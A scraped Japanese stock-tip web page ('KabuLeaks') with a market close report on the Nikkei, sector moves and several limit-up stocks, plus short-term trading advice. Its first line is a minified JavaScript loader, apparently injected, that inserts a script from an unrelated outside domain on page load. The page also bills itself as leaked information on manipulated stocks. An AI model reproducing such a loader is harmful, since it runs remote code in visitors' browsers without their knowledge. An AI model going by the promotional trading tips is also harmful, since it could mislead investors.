;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【11/27 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【11/27 大引け】

本日の日経平均株価は60円安と反落。後場の日経平均はこう着感の強い相場展開に。下値は堅かったものの、来週のECB理事会や米年末商戦の動向を見極めたいとした動きのほか、週末要因などもあり手控えムード。積極的な売買は手控えられ、売買代金は10月22日以来の2兆円台割れとなった。業種別では、鉱業、海運業、非鉄金属、倉庫運輸関連などが値上がり率上位に。一方、空運業、電気・ガス業、パルプ・紙、ガラス土石製品などが値下がり率上位となった。

個別では、株主優待制度の導入を後場に発表した【9997】ベルーナが一時急伸し、プラス圏に浮上したほか、【6176】ブランジスタがが後場一段高でストップ高に。また、未定としていた今期の年間配当金を30円にすると前日に発表した【3751】日本アジアグループ はストップ高買い気配となった。その他、大引けにかけTOPIX組み入れの【2742】ハローズ。自動運転関連の思惑がある【3744】サイオステクノロジー。LGディスプレー報道から関連銘柄として買われていた【6258】平田機工などが後場一段高となった。

日経平均は反落となったものの補正予算や日銀の追加緩和などへの期待もあり、底堅く推移。年末株高へ向けてのトレンドは変わらずだと思う。ただ、明確に2万円台乗せ、足固めを確認できるまでは慎重に。現状戻り高値圏であることは間違いないので押し目狙いは急落局面のみを限定にし、1万9000円台後半では直近人気のテーマ株、中小型株物色中心の短期売買をメインしておくのが無難だろう。イベントでは、まずは来月3日に控えるECB理事会、追加金融緩和実施に踏み切るかが注目ポイントとなりそうだ。